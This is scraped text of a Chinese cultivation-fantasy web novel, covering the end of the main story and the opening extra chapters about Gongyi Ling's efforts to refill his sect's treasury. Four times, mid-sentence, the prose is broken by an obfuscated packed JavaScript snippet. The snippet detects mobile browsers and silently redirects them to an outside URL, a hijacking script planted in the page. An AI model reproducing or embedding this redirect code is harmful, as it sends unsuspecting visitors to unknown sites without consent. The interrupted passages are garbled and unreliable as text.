只可惜,他的笑容还没维持多久,就凝固在了脸上。 “咔嗒。” 不轻不重的几下响声自燕煦泽身上传出,旁人听到这声音,立刻分辨出来,这是击中身体关节后会发出的声音。 没人看清楚公仪岭是如何出手的,须臾之间,燕煦泽身上环绕的灵力散去,人也扑通一声跪倒在地上。 幸亏赶上了。公仪岭收手,默默想着。 燕煦泽行动地太过决然、太过迅速,根本没给旁人一点阻止的机会,要是他再晚上一秒,或许燕煦泽就真的随法力消散而寂灭了。 哪怕是他,再刚刚那瞬间,也没完全的把握能够阻止燕煦泽。 不过还好,最终还是成功了。 燕煦泽害了他们这么多人,这样轻松的死法未免太过便宜他,公仪岭这才在要紧关头出手卸去了他的四肢关节,打断了他的动作。 虽然现在两位长老还未开口说如何处置燕煦泽,但公仪岭也能够猜出一二。 瀛湖内死了这么多无辜之人,又被燕煦泽以符阵封入棺中,如果没了燕煦泽的法力压制,怨气四溢之下必然化作厉鬼扰乱一方太平,最好的办法,就是在仙门处置完燕煦泽后,把他的尸身镇压在湖底,平息了那些怨气,再派人进行度化,才能有个善终。 没了燕煦泽的操控,苍暝极夜扇也从空中掉落,重新落入燕蓉的手中。 燕蓉紧紧握着扇子,片刻后,默默把它给合上,走到了燕煦泽的面前。 “……故人已逝,师兄,你这又是何苦?不管你做什么,沅沅她都不可能再回来了。” 燕煦泽冷眼看着燕蓉。 燕蓉半跪在他面前将那赤狐铃重新挂在燕煦泽的腰间,轻声道:“师兄,你还不明白吗?沅沅她以命换命拼死救下了你,又怎么能忍心看着你为了她放弃仙途、铸成大错?看到你这样做,即便是让她真的醒过来,她也不会开心的……” 燕煦泽道:“你分明知道是孟长歌忘恩负义在先,才让沅沅中毒身亡!” 燕蓉抬头看他,定定道:“是!我是知道,你母亲杀了人,孟宗主为了名声对你们兄妹二人避而不见,可孟姑娘又有什么错?如果没有她给你的这副冰棺,又怎么能护沅沅的身体二十年不腐?你在对青花谷下手的时候,可有想过孟姑娘也曾因妖毒命悬一线!你怎么能因此迁怒于她,不念半点旧情?” 燕煦泽低垂下眼眸,一言不发。 燕蓉见他面色依旧冷硬,叹息了一声,继续道:“你每次听燕婉师姐提起女子喜欢什么胭脂香料,都会去民间带一个一模一样的给她,衣服也是、首饰也是,这么多年来,你为她买的东西多到一个房间都堆不下,这才决定在湖底为她建一个府邸,算是安家……” 公仪岭顿时明白过来。 难怪那阴宅中最大的屋子是用来安置冰棺的,里面还都布置了那么多姑娘家的东西,竟是这个原因。 齐元白强忍喉中血气道:“所以,那些跟阿鸢一模一样的胭脂水粉,也都是你从燕婉那边得知,也想给你妹妹用上最好的东西,才特意从民间一样一样买回来的?” 燕煦泽冷声道:“是。我在宣安城中大开长乐坊和醉春风,一开始不过是为了敛财,只有这样才能为她买更好的东西,至于那些赌鬼和娼妓的人皮,都是些不入流的东西,作为交易,便给玄霄殿去试验人皮傀儡了。” 燕蓉凝声道:“师兄,你说的交易,便是让他们想出办法用御魔幡恢复人皮傀儡的灵识,是不是?” 燕煦泽看她一眼:“嗯。” “可你既拿御魔幡来养着她的灵识和魂魄,就该知道,她身子虽然因为妖毒侵蚀而动弹不得,但灵识却一息尚存,是能隐约知晓你为她做的事情的。直到刚刚,幡旗断裂,她的魂魄无所依靠、漂浮空中的时候,还在跟我说着你为她做的一切……” 闻言,燕煦泽身形一颤,面上似有泪水滑过,滴落在衣摆上。 “你留下了她的魂魄?” 燕蓉托起手,掌心显出一团浅蓝色的微光:“她只是半妖,身上有人的气息,我想要留下她的魂魄不是难事。” “多谢。” 燕煦泽闭了闭眼,沉默了良久才哑着声说:“师妹,看在认识这么多年的份上,我想求你一件事。” “你说。” “……所有的一切都是我做的,和沅沅没有关系。现在她的魂魄在你这里,若你能让她的魂魄重活一世,不再受妖毒蚀身之苦,我便跟你们回去,你们想要怎么处置我都无妨。” 燕蓉轻轻点头:“好,我答应你。” 得此承诺,燕煦泽如释重负般吐出一口气,没再多说什么,只是怔怔地眺望着瀛湖中央。 细雨如针密密落下,公仪岭的眼睫上都沾满了晶莹的雨水,等他顺着燕煦泽的视线朝瀛湖望去,却忽然意识到眼前渐渐变得清晰起来。 雨停了。 天空中乌云散去,瀛湖水面回归了平静,湖水澄澈,凌冽而又明亮的阳光洒满整个湖面,熠熠生辉。 * 燕煦泽被带回抱元门仙山后,足足提审了有半月之久,才算尘埃落定。 会审最后的结果也与公仪岭所想的相差无几。出乎意料的是,在行刑前一天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623144|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕渊不知为何,向善承和玄微两位长老请了愿,去探视了燕煦泽半日。 没人知道燕渊那一日对燕煦泽说了什么。真相已经大白,对于燕渊现在是如何看待自己的,公仪岭也并不在意,所以也没有再去追问。 区区一个罪孽深重的仙门叛徒,自是无人去关心他的事情,这半个月来,能让众仙僚在意的,乃是云灵山、紫阳宗两家发生的两桩大事。 这第一桩事情,自瀛湖之事了结后,众仙僚倒是有个心理准备。 那便是云灵山的新宗主继任仪式——不,或许应该说是原先的宗主,只不过换回了自己的名号,成了名副其实的公仪岭宗主。 而上一任的宗主公仪岚,也在同一日更换了祠堂玉牌,以公仪岚的名字,正式葬入了云灵后山。 李代桃僵之事,众人得知的时候也是难掩惊讶,万没想到他们竟然行事如此大胆,在承悦等人的掩饰和辩解下,大家也都渐渐接受了他们出此下策是为了捉拿幕后真凶的这个说法,对从前冤枉公仪岭的事情也是万分歉疚。 这第二桩大事,就发生地比较突然了,就连公仪岭也是现在才得知。 太微山脚下,城中最大的酒楼。 华灯初上,夜市刚开,四个人面前的大桌上已经布满了精致可口的菜肴,每个人的酒杯内都倒上了酒楼内的招牌酒——竹叶青。 “咳咳咳,你说什么?” 热闹的氛围止于燕蓉给他们三个人倒完酒后说的第一句话,三个人在听完后,面上皆是露出古怪的神情,公仪岭更是直接呛了水,咳嗽了半天才缓过神。 燕蓉放下酒盏,重新坐下,平静道:“三日后,紫阳宗宗主继任仪式,由我继任紫阳宗的新宗主,你们三届时记得来给我捧个场?” 齐元白道:“三日后?继任仪式?” 承悦道:“你成了紫阳宗新宗主?” 公仪岭最后道:“燕渊他能同意?” 燕蓉淡笑道:“你们当真以为我乐意当这个宗主?说起来,这还是燕渊他主动与我提的,我问他,他便说他心意已决,再担不起这个位置,让我务必接手下来。” 齐元白稍一转弯,也就想明白了这其中关窍:“怕不是燕渊觉得心生愧疚,不好意思继续承这个位置,又正好你在瀛湖的时候表明了身份,这才下定了决心吧。” 燕蓉点头,叹息道:“大概是了。” 公仪岭对她举起酒杯,笑道:“这也是好事一桩,我早觉得你就该担这个位置,光给燕渊打下手,这不是屈才了么?燕蓉你放心,等三日后,我们三个一定去给你捧场。” “没错,没错。” 公仪岭又想起了什么,道:“就是你给我们传去的拜帖,可别再写那么潦草的字了,压根叫人认不出来。” 燕蓉顿时知道他意有所指,将杯中竹叶青一饮而尽,好笑道:“不过是没叫你认出笔迹,又不是没叫你认不出内容,你自己做贼心虚,没想明白那层意思,怎能怪我头上?等回去后,可该多叫承悦监督你念书才是!” 公仪岭辩驳不了,只得无奈道:“下次,还是直接明示我吧……” “行了,”燕蓉也不为难他,自顾自吃了口菜,“好不容易太平了,哪还能再有下次?再说了,你演得也不像他,我看这事儿也就你自己没意识到吧。” 公仪岭大惊,下意识捏了捏脸,转头去问旁边两人:“真的假的?你们俩都早就看出来了?” 刚说完,公仪岭就回忆起瀛湖上承悦给自己递剑的事情,看向承悦:“所以,承悦你当时会把归云带来,也是因为知道我是公仪岭?” 190.去来终有时 云灵归故人(三) 承悦点了点头。 公仪岭不可置信:“你们明明都知道,这些日子都是在与我演戏?” 承悦无奈地瞅了他一眼,把盘中龙凤呈祥的鸡翅膀夹给他:“想也知道这是岚兄的意思,我也不清楚你们为什么这样安排,便猜测是想暗中调查才会如此,只能先按兵不动了。毕竟,岚兄用那样大的代价换下你,不可出一点差池,我又怎么能坏事?” 公仪岭左思右想,也没想出来自己到底是什么时候暴露的。 要说燕蓉知道,那倒也正常,毕竟她当面用冰糖甲鱼试探过自己,可承悦这边…… 公仪岭问道:“承悦你什么时候发现的?” 要说自己到底是什么时候发现的,承悦也不好说,也许是打理茶园的时候,也许是从偶尔流露出的一点习惯,思索半天,承悦也只能打了个哈哈含糊过去:“可能,是因为太过熟悉你和岚兄了吧。” 公仪岭若有所思,转而对齐元白问道:“元白你呢?” 齐元白之前受了内伤,能够休养了半个月就有所好转,有公仪岭时不时给他送去上好灵丹的功劳,也就没瞒着公仪岭,尝了一口鸡汤便悠悠道:“这还不容易?上元夜宴的时候我就觉得有些奇怪,跟你下过一局棋后,还有什么是不知道的?” 公仪岭默默道:“……我还以为都瞒过去了呢。” 齐元白笑道:“倒也不是水平的问题,是岚兄棋风谨慎、克制,可阿岭你的棋风却杀气太重,哪怕极力掩盖,也能隐约看得出来。” “唔,那看起来我们几个还真是心思敏锐,试探的方法也不尽相同。”见公仪岭全然不知,燕蓉看起来心情不错,又是丢了块肉到嘴里,“仙考那会儿公仪岭就说了请我们去最好的酒楼吃饭,这下可算是吃到了,再抵赖不得?” “不抵赖,不抵赖。”公仪岭举手投降,从怀中摸出珍藏许久的金杯,豪情万丈道,“放开吃,今天我请!” “哎哟,这个金杯……?” 齐元白接过来打量了两眼,惊讶道:“这就是你之前说,从狐妖阿音的洞穴里拿出来的那个吧?” 公仪岭点头:“就是这个,她那洞穴里能有这么多金银珠宝,大概也是燕煦泽给的,只不过那洞穴里的东西都上缴到云灵山的仓库中了,瀛湖那边的也都清了个干净,燕煦泽留下的那些值钱的东西现在也只剩我手里的这个了,正好拿来请你们吃饭。” 燕蓉道:“都是些身外之物,没了也好,省得日后再因此生出事端。” 承悦一边吃菜,一边感慨道:“燕煦泽也是个能人,短短四五年时间,就能在民间敛这么多财,我还从没见过一个法修能挣上这么多的。” “比起这个,我倒是还有另一个事情没问你们。”公仪岭突然道。 “何事?” 公仪岭盯着两个人,缓缓道:“元白是因为尧都城离太微山近,这才知道了水鬼娶亲的传说,可紫阳宗离那边却远,燕蓉你瞒天过海,又是什么时候开始策划前往尧都城,抢先一步带走御魔幡的呢?当时,你似乎也没细细说明,到底是怎么怀疑上燕煦泽的。” 燕蓉与他对视片刻后,先叹了口气。 “我得先跟公仪岭你说声抱歉,这件事情,是我有错在先。” 公仪岭没料到她会这么说,一时间也愣了,没明白燕蓉是什么意思,也不知道她为什么要跟他道歉。 燕蓉道:“我最开始怀疑燕煦泽,并非是因为他行踪有问题或是因为太过熟悉他的原因,而是因为一个‘逻辑’。” 公仪岭听得眼皮一跳:“什么逻辑?” 燕蓉深深看他一眼:“你可还记得三化会审结束后,你被公仪岚在三化殿上打晕后,带回云灵山与世隔绝地关了七日禁闭?” “记得。” 那七日时光,太过漫长,也太过短暂,他在自己院子里每分每秒是何等煎熬,那样的感受公仪岭至今都难以忘怀。 “在第七日破晓时分,我曾给你手书过一封信,那封传信我费了很多心思才能送进云灵山的结界,你不知道的是,师兄也从中帮了我不少,那时候我确实没多想,心急想联系到你告知此事,却完全没想到事情会如此发展。”燕蓉垂下眼睑,轻声道,“要是知道你那时候会选择直接闯入紫阳殿内大打出手,把所有事情揽下后离开,我是绝对不会提前告诉你岚兄用性命保下你这件事情的。这件事情,是我不对。” 公仪岭默然无言:“……所以,你是在说我没脑子吗?” 燕蓉顿了顿,诧异地看了一眼公仪岭,倒是没想到他如此有自知之明,于是继续道:“反正,我本意只是想通知你一下为什么被关起来了,不是让你什么都没搞清楚就去打架。” 公仪岭无奈道:“我这也是没办法才会出此下策,眼看着已经第七日了,我不闯出去打这一架,还能怎么办?那么大个云灵山,总不能跟我一起跑啊!” “行吧,算你有理就是了。” 事情都过去了,再计较这些也没意思,燕蓉跳过了这个话题,道:“最让我感到奇怪的是,这给你传信的主意,一开始就是我师兄建议的,那时候他说的有理有据,我便也信了,事后我仔细一琢磨,才觉得他有些问题。要是真心为你着急,就该像齐元白他们那样,去宣安城满城找真相,而不是在关键时候撺掇你继续犯事。想必,师兄他就是吃准你不会牵连公仪岚和云灵山,才会借我的手推波助澜。” 齐元白听了连连点头:“说的是。” “复盘完那件事情之后,我就一直在暗中调查师兄的背景。可惜我师父的那性格你们也知道,留下来有关那一年入门弟子的背景资料并不多。多亏了我在紫阳宗处理了这么多年的事务,最后还是让我在藏书阁找到了些线索,顺藤摸瓜到尧都城中,找到了当年师兄亲生父亲的案件卷宗。” 公仪岭立刻追问:“什么案件卷宗?” 瀛湖岸边的时候,公仪岭似乎有听到燕蓉提起过一句,只是那时候局势紧张,公仪岭并未细思。现在再度听她说到这事,才回忆起了点印象。 燕蓉叹息道:“师兄他,年幼时候过得并不好。” “孟宗主少时风流,与各家女仙僚私交甚好,之后下山历练的时候,又暗暗认识了不少性子温良的貌美女妖,也就是差不多这时候,结识了燕煦泽的狐妖亲娘。” 公仪岭讶异道:“孟姑娘知道这事儿么?” 燕蓉点头道:“知道,这陈年旧事,还是我亲自去青花谷内找妙意姑娘问的。” “孟宗主跟那狐妖算得知己,只不过后面他回青花谷承了宗主的位置,万不能再传出与妖物结交的事情,这才渐渐没了联系,而那狐妖后面也跟凡人诞下了一儿一女,也就是师兄和沅沅。” “日子虽然是清贫了些,但好在师兄也平安长到了六七岁。谁知那一年城内疫病爆发,师兄染上了病,眼见着没钱买药人撑不过晚上了,他爹走投无路下去偷了别人的药,被关入了大牢。” 公仪岭皱眉道:“所以,这就是他父亲有卷宗的原因?” 若是逼不得已,公仪岭倒是能够理解了——命都要没有了,哪里还顾得上旁的。 齐元白给燕蓉斟酒:“这偷窃的罪名何至于此?” 燕蓉道:“本来是不至于的,可疫病严重一药难求,他爹只能找那些能买得起药的人下手,偏生这些人有钱有势,稍微打点了下,便给人折磨得不成样子了。” 饭桌上两人齐齐沉默,都不知道该说什么好了。 承悦试探开口:“所以,那狐妖后来去救她丈夫了吗?” 燕蓉道:“去了,她杀了看守的狱卒,把人救了回去。这件事情惊动了仙家,便派了人下山想要除去狐妖,两方打斗间,师兄他爹娘都丧命了,师兄和沅沅被提前藏了起来,这才平安无事。” 公仪岭算着时间。 那时候燕煦泽六七岁的话,沅沅大概也就是五六岁的样子,他想在动乱中护好妹妹,确实不是个容易的事情。 齐元白有些唏嘘:“也不知道他们是怎么活下来的。” 至于这些细节,大多都是燕蓉在仙牢探视燕煦泽的时候得知的。 燕蓉淡声道:“两个孩子能怎么办呢?师兄当时也只能靠捡破烂来养活沅沅,真饿极了去店铺讨食,被赶出来倒还算好的,若是运气不好挨了顿狠打也是常有的事情。就这样有上顿没下顿地过了两年,沅沅才出了事。” 出了什么事,不必多言。 “那,他妹妹是怎么中的妖毒?”公仪岭问道。 “他们两兄妹体质稍有区别,燕煦泽身上倒是没有妖气,但沅沅身上却有,她身子羸弱,也更容易吸引方圆百里内的其他妖物过来吞食。哪怕师兄依靠赤狐铃的力量拼死护她,却还是无能为力,眼睁睁看着她身中百种妖毒。” 承悦停下了箸,完全明白过来:“他去找孟宗主了,可谁知孟宗主为了避嫌,直接赶走了他们。” 齐元白道:“青花谷那边本就关系更复杂些,孟姑娘不也被谷中长辈虎视眈眈着么?恐怕是孟宗主根基未稳,不好被人抓到把柄,这才……” “是的。但他在谷外跪了一日一夜,也没能等到孟宗主施以援手。” 说到这里,燕蓉也有些不忍。 尧都城和青花谷一南一北,距离何其遥远。燕煦泽背着沅沅跋山涉水前去,路上饿了刨坟地里的萝卜、捡野菜叶吃,这样的结果,换做是谁,心里都会有怨恨的。 后面的事情,无非是燕煦泽辗转流浪处心积虑拜入了紫阳宗门下,燕蓉就算不说,他们也都知道了。 齐元白低声道:“就算如此,可阿岭是无辜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他镇定开口:“宗主,你昨日喝得实在太多,御剑飞得太快,故而你落地的时候剑气没收稳,我们也都没来得及阻止,宗门内的那些灵草灵木被你的剑气折了大半,险些连根都被掀起来了。承悦师兄临睡前,嘱托我把账册交给你,看看如何才能补上这个窟窿?” 公仪岭只觉头痛,抬手按了按太阳穴后,推开了递到面前的账册,起身披上了一件青色外袍。 公仪越见他逃避现实,也没多说什么,低低笑了一下,跟在了他身后。 公仪岭一推房门,等看清楚院内的景象后,更头痛了。 自己这院子里哪还有半点离开前的样子?种了灵草灵木的地方宛如经过了狂风席卷,树木一个个东倒西歪、断了一地,灵草则是直接被拔地而起,比起路边的杂草还不如,压根看不出半点灵气。 公仪岭甚至顾不上心疼这些灵物,转头再看池塘内的那些五色锦鲤,也全都翻了白肚皮——早就救不回来了。 他一口气差点没上来。 自己昨天回来的时候到底都干了什么??? “宗主。”公仪越十分适时地再度递上账册。 这下,公仪岭也不得不面对现实了。 他长叹一声接过账册,对公仪越摆了摆手:“行啦,我知道了,阿越你先去练剑吧。” 公仪越盯了几秒他的侧脸,还是离开了。 反正公仪岭当了这么久宗主,只是这点账务而已,总能处理好,应该出不了什么问题——公仪越是这么想的。 七日后。 “哎哎,那边树歪了,再弄正些。” “云灵殿顶的琉璃瓦都数清楚啊,一片都别少!” “……” 公仪越和公仪承悦抬头望着云灵殿上那些闪闪发光的琉璃瓦,默然无言。 公仪岭这会儿正蹲在殿顶安琉璃瓦,一扭头,见这两个人立在殿前也不知道在发什么呆,立刻招呼了两声:“你们俩来得正好,过来搭把手?” 公仪越和公仪承悦面面相觑。 最后还是承悦先收了算盘和账册,无奈道:“罢了,事已至此,反正这么多年宗门也没翻新了,就当是重新修缮吧!” 公仪越:“……那这账册?” 承悦低头思忖片刻后,拨了几下手中的算盘,仰头对公仪岭喊道:“阿岭,这次云灵山修缮的账,我可都记你名下了,给我想办法补上啊!” 公仪岭假装没听见:“啊?你说什么我听不清?” 意料之中的回答。 承悦也不再站在云灵殿前跟他废话,直接纵身跃上殿顶,用那白玉算盘敲了敲公仪岭的肩头。 “怎么了,承悦?” 公仪岭回头,眼眸澄澈一如当年。 承悦望着他,露出一个浅淡的笑容,轻轻叹了口气:“我刚刚说。” “欢迎回家,公仪岭。” ——全文完—— 191.【番外】清风邀明月 何处宴群山(一)[番外] 这三年来公仪岭心里一直记挂着一件大事。 虽然那日以后,承悦也没跟自己再提起过补云灵山亏空的这件事情,但自从云灵山修缮过后,大家的吃穿用度还是肉眼可见地缩水了不少。 某日,公仪岭望着桌上的三份素食,指着那盘白灼菜心问承悦:“我若是没记错的话,这道菜似乎已经连上三日了?” 承悦“嗯”了一声,不作答复。 就在中秋前夕,公仪岭故作不经意路过库房,正巧见承悦正指挥着众弟子从里面取灯笼出来布置。 公仪岭还没高兴两分钟,就猛然见弟子拿出来的都是些春节时候用剩下的灯笼,笑容顿时凝固在脸上。 三年前紫阳宗承办的那场中秋宴至今都还被众仙僚津津乐道,难免会拔高了些对后面几年中秋夜宴的期待。 可偏生今年的中秋宴刚好是云灵山承办的。 更巧的是偏生今年云灵山没钱了。 公仪岭从弟子的手中接过了那盏灯笼,翻来覆去地看了半天,还是犹豫地对承悦开口:“承悦啊,这灯笼放久了,怕是旧了些,要不我们还是换些新的吧?” 承悦满脸严肃,语重心长:“宗主,咱们家现在……没有这个条件。” 菜的事情倒是好办,大不了公仪岭自己亲自下厨就是了,但中秋夜宴没有灯笼可不行,要是云灵山连个灯笼都买不起的事情传出去,整个宗门上下都脸上无光,还得在中秋宴的时候丢了丑。 眼看着山里越来越穷,每日锅里的油水越来越少,这样下去,总归不是个事。 公仪岭思前想后,觉得身为宗主更应该以身作则,最后还是揽下了赚修缮钱这个事情。 至于怎么补亏空,就是另一个问题了。 是个修仙的都知道,剑修不好赚钱。好在承悦也开口了,说真金白银也行,上品灵石也行,只要是个值钱的东西都能收。公仪岭这才放心了些,思忖着实在不行的话,自己就去其他宗门上门推销点东西。 这一趟也不知道他什么时候才能回来,公仪岭把弟子们的课业都安排好后,便带着归云下了山。 公仪岭最先去的,是无妄宗。 去无妄宗的原因也很简单,因为无妄宗是公仪岭唯一打过交道的剑修宗门。 自从三年前真相大白后,薛子昂也清楚从前的事情是自己错怪了公仪岭,对公仪岭的态度也较从前好了许多,上次夜宴的时候,还主动过去和他敬了杯酒,缓和关系。 公仪岭自然也就没与他计较什么。 从他踏入无妄宗地界,薛子昂便已经从弟子口中得知了公仪宗主突然来访之事。 只不过,薛子昂冥思苦想,也没能想到公仪岭招呼都不打一声就上门来是来干嘛的。 是来通知他们什么大事的?还是带了自家弟子友好切磋的?总不能是还记恨着自己误会他这件事,特意上门来收拾自己的吧? 要是真打起来……薛子昂对自己的实力还是很有认知的。 薛子昂坐在正堂上等他,苦思冥想了一会儿,还没等到公仪岭进门,率先听到了门口弟子们熟悉的声音。 “哎哎哎,我要这个!” “别抢别抢,我先来的!” 薛子昂微微皱眉——现在正是弟子们练剑的时辰,一群人闹哄哄地在前院做什么? 他缓步出门,一眼便瞧见了前院那一帮弟子把公仪岭围在中间,一个个手上还拿了些瓶瓶罐罐的东西。 薛子昂轻咳了一声,方才引回了众人的注意力。 “你们这一个个都围着公仪宗主,是要干什么?” “没干嘛,没干嘛。”无妄宗的弟子们还没说话,公仪岭反倒先开口了对薛子昂打了声招呼,“好久不见,薛宗主。” 薛子昂点了点头,正想开口应一句,就见眼前这人低下头翻了翻自己背着的包裹,又抬眼堆笑道:“薛宗主,一品灵剑护理液要不要?我这边量大实惠,香味众多,有雪莲香、铃兰香、山茶香和迷迭香,一瓶能用三个月!找我买只需要一百六十八灵石,用完保证各位的灵剑香喷喷、伤人不沾血哦!” “……” 薛子昂面无表情看着他,随后扭头对身后跟着的仙侍说道:“送客吧。” “哎哎哎,别这样呀!” 眼看着薛子昂身后的仙侍要来赶他走,公仪岭连忙拨开旁边的弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654004|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,不死心地叫道:“我这白手起家,大老远地过来一趟也不容易,买一点吧薛宗主!很便宜的薛宗主!” 薛子昂:“……” 说起来,公仪岭还真从来没做过生意,就连这一大串的词都是齐元白帮他打的稿子。公仪岭见这些话对薛子昂居然没用,不由开始怀疑起自己的推销能力起来。 好在,最后在公仪岭的软磨硬泡下,薛子昂也没真的把他给赶出去,还是意思意思买了两瓶,将人好好地请进了正殿。 公仪岭舒服地在正殿的红木椅子上坐下后,这么久以来,他第一次觉得宗主这身份还是有点用的。 这样的一尊大佛坐在正堂,众仙侍们也是倍感压力。即便已经知道了公仪岭此行前来的目的,他们也不能怠慢丝毫。薛子昂咬牙开口:“给公仪宗主奉茶。” 仙侍赶紧照办。 公仪岭把灵石揣进行囊里,喜笑颜开地接过茶水:“薛宗主真是好生客气,下次有好东西,我还叫你!” “那便多谢公仪宗主了。” 再怎么说,公仪岭这剑道第一的名号还是在的,没准日后他还真能拿出些好宝贝。薛子昂这样一想,也就顺势应下,没有拂了公仪岭的面子。 “不用谢,该是我谢谢你们照顾我生意。”公仪岭道。 薛子昂眉尾一挑,从他的话中琢磨出来了一二:“公仪宗主此话怎讲?莫不是云灵山近来库房空虚,这才……” 这样的事情,公仪岭是断然不会承认的,当即打了个哈哈过去:“倒也不是,主要是我不久前无意弄伤了承悦养的一株百年冰莲,正想办法买点别的赔给他呢。” 公仪岭这话并非胡说,而是确有其事。承悦的那冰莲虽然不算珍稀,但也是他想方设法从北边寒地移植过来的,承悦一直施法养护在院中寒冰池内,很是宝贝。遗憾的是承悦的院子紧挨着公仪岭的院子,当日公仪岭也失手掀了他的院子,事后承悦虽然没说什么,但对此公仪岭也十分歉疚。 “原来如此。” 薛子昂了然,随即又道:“公仪宗主,买东西这事儿,我们宗门怕是帮不了你太多,不过冰莲这个事情,我倒是知道有人能帮你。” 192.【番外】清风邀明月 何处宴群山(二)[番外] 公仪岭立刻精神了:“谁能帮我?” 薛子昂不慌不忙喝了口茶:“我有一位友人在紫阳宗主修冰系法术,他曾跟我说,紫阳宗内有一冰窟,燕宗主在里面新添些百年冰莲,这些冰莲的灵气最适合弟子修行。我听闻公仪宗主与燕宗主私交甚好,你若是去紫阳宗,想必是能拿到的。” “哎,这是个好主意。” 公仪岭一听就知道薛子昂没有忽悠他,他虽然没用过那株冰莲,但也知道这冰莲最适合冰系法修增进灵力,就算只是用作观赏,对其他修士也益处多多。 至于燕蓉那边……只要他好好游说,感觉用灵石换一株冰莲还是有可能的。 有了下一步方向后,公仪岭安心多了,也不跟薛子昂继续闲聊,喝完一盏茶后便与他们告辞,御剑往紫阳宗的方向去了。 快入秋的日子温度正好,紫阳宗附近城的酒肆里也开始逐渐上新了新一季的桂花酒,一整条街道都弥漫着桂花的清甜气息。 自从燕煦泽身死、燕渊退位后,燕蓉便更为忙碌,跟他们见面次数也少了很多。 既是求人办事,公仪岭也不好空着手去,当即打算在这就近的城里买点东西再前去拜访。 但燕蓉喜欢什么东西,公仪岭还真拿不准主意。 自他和燕蓉相识,便从没见过燕蓉有表现出来喜欢什么东西,姑娘家的胭脂水粉她也有,但都是够用就行,至于燕蓉这些年的物件,除了她的那把一品灵扇以外,从头到脚也就只有燕修远赠给她的那支青玉簪子和一双青玉耳坠贵重些了。 就这些配饰,还是当时用浮光青玉扇的边角料做出来的。 公仪岭思虑再三,最后老老实实在排队最长的那酒肆前排上了队。 为了承办中秋宴,云灵山每样东西都尽力做到最好,不过这宴饮上的酒水却迟迟未定。公仪岭听路人说,这酒肆也是卖桂花酒起家的,便想着买两壶给燕蓉带去,顺道自己也尝一尝,看能不能用来当中秋宴的酒水。 一边排队,公仪岭也同身旁几人聊了两句,方才得知这家酒肆卖的桂花酒名唤“秋风清”。 光听酒名,公仪岭十分满意,心道这酒与中秋宴倒是相配。 三壶秋风清,一壶公仪岭自己喝了个精光,另外两壶,则是一路提着走到了紫阳宗结界入口。 他边走边回味着味道,本以为自己来紫阳宗这么多次,再怎么样结界入口看守的弟子也该认得出他了,谁知却还是被拦了下来。 公仪岭愣了愣,指了指自己的脸道:“你们都当值这么久了,怎么还认不出我?” 那两个守门的紫阳宗弟子也有些不好意思,硬着头皮道:“认得出,认得出,这不是公仪宗主吗?” 公仪岭本还想从行囊里翻出赤玉云纹令牌自证身份,听到两人这话,手上动作一停,更不理解了:“你们既然都认出我来了,怎么还不让我进去?” 总不至于这就猜出来,自己是想来拿冰莲回去的吧? 弟子试探性道:“敢问公仪宗主,可是来找我们家宗主的?” 公仪岭提起手中的秋风清,道:“是的,我顺便还给燕蓉带了点东西来,这次过来是有事问她。” 那两弟子面上为难:“这个……公仪宗主,今日怕是不巧,我们家宗主今日……不在紫阳宗内。” “不在?” 公仪岭颇为意外。在他印象中,燕蓉几乎是全年无休,只要有人来找,就必然能在紫阳宗内找到她,这次怎么会…… 公仪岭顺势猜测:“是下去除妖去了?” 可不论他如何追问,那两个弟子都支支吾吾不肯说明事情,最后实在憋不住了,终于开口说了一句:“我们宗主是不在,但燕渊师兄倒是在,若是公仪宗主有什么要紧事情,不妨进去和我们燕渊师兄说?” “燕渊啊……” 公仪岭有些迟疑。 自从他们离开瀛湖后,公仪岭便没再见过燕渊,虽然自己洗脱了那些罪名,但燕婉却是真真切切因自己而死,燕渊不愿见他也是情理之中。 只不过旁人不知道的是,后面公仪岭还是主动去抱元门挨了那剩下的三十下戒鞭,因为他身份特殊,这才被两位长老瞒了下来,没宣扬出去。 那两位弟子不觉得有何不妥,面色如常道:“眼下宗主不在,宗门内的所有事情全都是交由燕渊师兄处理的。我们宗主临行前说了,这也算是借机锻炼一下燕渊师兄的能力了。” 公仪岭揣度着两人的神情也不像是作假,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665750|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子,燕蓉的确不在紫阳宗内。 燕渊他是不方便见的,公仪岭正想问问两人燕蓉的去向,还未开口,就见结界内忽然出来了一位紫衣仙侍,对着结界外的公仪岭恭恭敬敬地行了一礼。 “公仪宗主,燕渊师兄请您进去。” 